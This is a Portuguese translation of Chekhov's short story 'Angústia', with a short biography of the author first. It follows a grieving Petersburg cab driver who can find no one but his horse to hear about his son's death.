Angústia – Conto de Antón TCHEKHOV

TCHEKHOV

(1860 — 1904)

Filho de um pequeno merceeiro ãe Taganrog, ANTON PAOLOVITCH TCHEKHOV nasceu nessa cidade no ano de 1860, tendo aí iniciado seus estudos, que continuou em Moscou em cuja Faculdade de Medicina formou-se. Para ganhar a vida, escrevia contos, que conheceram êxito rápido, senão publicados em volume a que o autor deu o nome de "Contos ãe todas as Cores", assinados "Tchekonte". Graças ao êxito de suas narrativas, algumas ãe fino humorismo, o escritor abandonou a medicina, dedicando-se, exclusivamente ò, verdadeira vocação, o que permitiu à Rússia ter assim o melhor dos seus contistas.

Tchékhov escreveu: "Contos e narrativas", "Discursos inocentes", "Na penumbra", "Um duelo", "Gente triste", "O pesadelo", "A Bruxa", "A estepe", "Os inimigos", "A sala número seis", etc. Também escreveu para o teatro, cultivando a farsa, o sainete e o drama, tendo obtido êxito e permanência, pois continua sendo representado.

Doente de tuberculose da qual veio a falecer, o grande contista revela, em geral, fundo pessimismo em quase tôda a sua obra que reflete, não obstante, uma grande sobriedade, agudo dom de observação, uma lúcida objetividade, sem grandes lances de ilusão, senão escritor que merece destaque na literatura mundial.

ANGÚSTIA

A quem confiarei a minha dor?

Ocaso. Grandes flocos de neve, caindo, giram, preguiçosamente, em torno dos lampiões de gás acesos há pouco, e se depositam, em camada mole e fina, sobre os telhados, o dorso dos cavalos, os ombros e os chapéus. O cocheiro Iona Potapov está branco como um fantasma. Curvado sobre si próprio tanto quanto se pode curvar um corpo humano, está sentado no seu banco e não faz nenhum movimento. Se se deslizasse sobre êle um montão de neve, parece que não sentiria a menor necessidade de fazê-lo cair. O seu manhoso cavalinho está imóvel e branco como êle. Pela angulosidade das suas formas, pela rigidez de pau das patas, pela sua imobilidade, assemelha-se até, de perto, a um pãozinho de centeio de um copeque. Êle está, evidentemente, mergulhado nos seus pensamentos. Com efeito, ser arrancado da charrua, das paisagens habituais e cinzentas e ser atirado a este abismo de luzes monótonas, de barulho incessante, não é pura brincadeira!

Há já muito tempo que lona e seu cavalo não se mexem. Saíram da cocheira logo depois do jantar e até agora nenhum freguês… E a garoa da noite cai sobre a cidade. As inumeráveis luzes das lanternas substituem a luz do dia. A agitação ruidosa das ruas atinge o auge.

— Cocheiro! bairro de Viborg! ouve lona, repentinamente.

lona se sobressalta, e através dos seus cílios colados pela neve, vê um oficial de capote, com o capuz levantado.

— Bairro de Viborg! repete o oficial. — Estás dormindo? Bairro de Viborg!

lona, em sinal de aprovação, puxa as rédeas, e este movimento faz cair dos seus ombros e do dorso do cavalo camadas de neve. O oficial senta-se no trenó. lona incita com os lábios o seu cavalo, se endireita, alonga um longo pescoço de cisne, e, mais por hábito do que por necessidade, estala o chicote. O cavalo também estica o pescoço e se abala com passo indeciso.

— Lobisomem! este é o teu caminho?… ouve gritar lona, logo depois dos primeiros passos, na massa negra que sobe e desce. Para onde o diabo te leva? Toma à direita!

O oficial se zanga:

— Tu não sabes conduzir?… Toma à direita! Um cocheiro particular pragueja; um pedestre que, ao atravessar a rua, bateu com o ombro no focinho do cavalo, lança um olhar furioso em lona e agita o braço, lona, como se estivesse sentado sobre agulhas, vira-se e revira no seu banco, atira os cotovelos para a direita e para a esquerda, pisca como um homem cegado pelo vapor, e tem o ar de não compreender onde está e porque está ali.

— Que pernas de pau! zomba o oficial; dir-se-ia que apostaram para ver quem melhor se atira para cima de você ou debaixo do cavalo!

Iona se volta para o seu freguês e move os lábios …

Queria dizer qualquer coisa, mas da sua garganta não sai senão um ronco.

— Que é? pergunta o oficial.

Um sorriso torce a boca de Iona, êle faz um esforço com a garganta, e diz com voz rouca:

— O meu filho, "barine"… (1) morreu esta semana.

— Hein?… De que morreu êle? lona se volta para o oficial e diz:

— Que sei eu ?… De febre alta, provavelmente… Ficou três dias no hospital e morreu. Louvado seja Deus!

— Olha para a frente, diabo! grita uma voz na escuridão. Não enxergas? Cachorro! Abre os olhos!

— Corre, corre, disse o oficial, ou não chegaremos hoje… Toca mais depressa!

O cocheiro estende de novo o pescoço, se levanta, e, desajeitadamente, agita o chicote. Várias vezes se volta para o oficial, mas o oficial está com os olhos fechados e não parece querer escutá-lo.

Tendo deixado o freguês no bairro de Viborg, lona pára perto de um "traktir", (2) deixa-se cair sobre o seu banco e não faz mais nenhum movimento. A neve, caindo, torna a branquear o seu cavalo… Passa-se uma hora. Uma outra.

Três moços, fazendo estalar seus sapatos na calçada, chegam, discutindo. Um deles é pequeno e corcunda, os outros dois são grandes e magros.

— Cocheiro, para a ponte de XX! grita com voz trêmula o corcunda. Todos os três; vinte copeques.

lona puxa as rédeas e estala os lábios. Vinte copeques é um preço irrisório, mas êle não pensa no preço. Um rublo ou cinco copeques* é a mesma coisa, contanto que haja fregueses. Os moços, empurrando-se e soltando palavrões, aproximam-se do trenó. Querem subir todos ao mesmo tempo. Discutem quem se assentará e quem ficará de pé. Depois de uma longa discussão, gestos e recriminações, decidem que o corcunda, por ser o mais pequeno, irá de pé.

(1) Barine é senhor.
(2) Traktir é botequim.

— Vai, corre! diz o corcunda, acomodando-se e resfolegando, nas costas de lona. Toca! Puxa que chapéu, meu velho! Não é possível encontrar-se outro pior em toda a Petersburgo.

Iona ri:

— Hi! hi!… é mesmo…

— Pois bem, "é mesmo", corre!… Será que vais correr sempre dessa maneira? Sim!… Então, queres apanhar ?

— Estou com a cabeça estourando… diz uns dos grandes. Ontem, à noite, na casa de Dukmassov, Vaska e eu bebemos quatro garrafas de conhaque.

— Eu não compreendo como é que se pode mentir assim! indigna-se o outro grande. Êle mente como uma égua!

— Que Deus me castigue se não fôr verdade!

— Verdade como seria galinha com dentes, lona sorri:

— Hi! hi! que gente alegre!…

— Que diabo te… exclama o corcunda. Não queres correr, "sua" peste? É assim que se corre? Dá-lhe com o chicote! Oorre! Diabo! Dá-lhe uma boa chicotada!

Iona sente nas costas o corpo do corcunda que se mexe e ouve a voz que treme; ouve as injúrias que lhe dirigem; olha para as pessoas que o cercam e começa a sentir saudades da solidão. O corcunda berra até ser sufocado por um palavrão de arripiar os cabelos, ou tomado por um violento acesso de tosse. Os dois grandes se põem a falar de certa Nadej da Petrovna.

lona se volta a todo o instante para o lado deles.

Aproveitando-se dum minuto de calma, êle se volta ainda e murmura:

— Esta semana,… eu perdi um filho!…

— Todos nós morremos! suspira o corcunda, limpando os lábios depois dum acesso de tosse. Vamos,corre! Toca! Senhores, decididamente, assim, eu não posso continuar! Quando é que chegaremos?

— Anima-o um pouco, dando-lhe uns murros nas costas!

— Ouves, "sua" peste! ou eu te bato nas costas!… Se usássemos de cerimônias para contigo, teríamos cie ir a pé! Ouves, serpente de Gorinytch! (3) Ris do que nós te dizemos?

E lona ouve mais do que sente as pancadas que lhe

dão.

— Hi! hi!… ri êle, como os senhores estão contentes. Que Deus os conserve sempre assim!

— Cocheiro! És casado ? pergunta um dos grandes.

— Eu! Hi, hi, hi!… senhores alegres!… Presentemente, a minha mulher é a terra fria, … hi, hi, ho, ho, ho! Ou melhor, o túmulo! Vejam só! O meu filho morreu, e eu vivo ! Que besteira! A morte errou a porta… Em lugar de entrar na minha casa, entrou na casa de meu filho…

E lona se volta para contar como foi que morreu o seu filho.

Mas o corcunda, soltando um suspiro de alívio, anuncia que, graças a Deus, já chegaram. lona recebe os seus vinte copeques. E olha, demoradamente, para os três desocupados que desaparecem no interior duma casa escura.

Mais uma vez só! E mais uma vez recomeça o silêncio… Sua mágoa, mitigada por um instante, renasce, distendendo-lhe o peito com uma força maior. Os olhos de lona correm ansiosos sobre os grupos que se comprimem dos dois lados da rua. Não se encontrará neste mundão de gente ninguém para ouvi-lo? Mas as pessoas passam sem ver nem a êle nem a sua mágoa.

Dor imensa, sem limites! Se o peito de lona arrebentasse e a sua angústia se espalhasse em volta dele, parece que inundaria todo o mundo, e, todavia, ninguém não a vê! É tão perfeito o esconderijo em que ela se meteu, que ninguém consegue descobri-la nem em pleno dia…

(3) Serpente de Gorinytch é referência a uma serpente que representa grande papel nos contos populares russos.

Iona encontra um "dvôrnik" (4) com um jacá e se decide a falar com êle.

— Amigo, pergunta-lhe, que horas são?

— Já passa de nove horas… Por que paras aqui? diz-lhe o "dvôrnik". Vamos, dá o fora!

lona dá alguns passos, cai em si e se entrega à sua mágoa… Para que dirigir-se a alguém? É tempo perdido.

Em menos de cinco minutos, endireita-se, levanta a cabeça como se sentisse uma dor aguda e puxa as rédeas. .. Não pode mais… posta, diz de si para si, à posta!"

O cavalo, como se compreendesse, começa a trotar. No fim duma hora e meia, lona está sentado num grande fogão sujo. Pessoas em torno dele roncam sobre capotes, no chão, em bancos. Bafo irresistível… lona observa as pessoas que dormem, coça a cabeça e se arrepende de ter voltado tão cedo.

"Não ganhei nem sequer para a minha aveia, pensa êle; aí está porque me aborreço!… Um homem que faz o que tem que fazer, quando come bem e o seu cavalo igualmente, está sempre tranqüilo."

Um jovem cocheiro se levanta num canto, resmunga meio adormecido e se estende para apanhar um balde de água.

— Tens sede?

— Sim, tenho sede!

— Bravo, à tua saúde!… Sabes, irmão, que o meu filho morreu esta semana no hospital? Não imaginas que história!

Iona procura ver que efeitos produziram as suas palavras, mas não vê nada… O jovem cocheiro cobriu a cabeça e tornou a dormir. lona suspira e coça a cabeça. Tanta era a sede do jovem cocheiro, quanta a sua vontade de falar. Vai fazer uma semana que seu filho morreu e êle ainda não pôde contá-lo, tranqüilamente a ninguém. Era preciso contá-lo com ordem, pausadamente; contar como seu filho caiu doente; como sofreu; o que êle disse antes de morrer e como êle morreu… Era preciso contar o seu enterro e a viagem que fêz ao hospital para receber a roupa que êle deixou. Tem ainda na cidade uma filha, a Anissia; também era preciso falar dela. Oh!, de quantas coisas lona poderia falar agora! Quem quer que o escutasse, suspiraria, choraria e haveria de lastimá-lo. Contar tudo isso a mulheres seria melhor ainda; elas são muito estúpidas, mas não são precisas mais que duas palavras para fazê-las chorar.

(4) Dvôrnik tanto pode ser "porteiro" como "faxineiro" de prédio.

"É preciso que eu vá ver o meu cavalo, disse de si para si. Terás muito tempo para dormir, vai! Não tenhas medo, dormirás bastante!…"

lona se veste e se dirige para a estrebaria.

Pensa na aveia, no feno, no tempo que está fazendo.

Pensar no filho, quando está só, não é possível. Poderia falar dele a alguém, mas pensar nele, quando só, e, representá-lo em vida, é terrivelmente penoso.

— Estás comendo? pergunta êle ao cavalo, ao ver os seus olhos, que brilham. Vamos, come, come! Já que não ganhamos para a nossa aveia, comamos feno… Sim!… Eu já estou muito velho para trabalhar como cocheiro… O meu filho, isso lhe ia bem, mas não a mim. Êle era um verdadeiro cocheiro!. .. Bastava-lhe viver…

Iona se cala algum tempo e recomeça:

— Sim, meu velho cavalo; é assim, — mais Kuzma Ionyteh!… Êle quis deixar-nos pra trás. A doença agarrou-o assim, de repente, e êle morreu sem razão.’. "Escuta, suponhamos que tenhas um potro, que sejas a sua mãe, e que, de repente, o teu potro te deixe pra trás; não seria uma desgraça?…"

O cavalo come, escuta e resfolega sobre as mãos do dono.

Iona se comove e lhe conta tudo.

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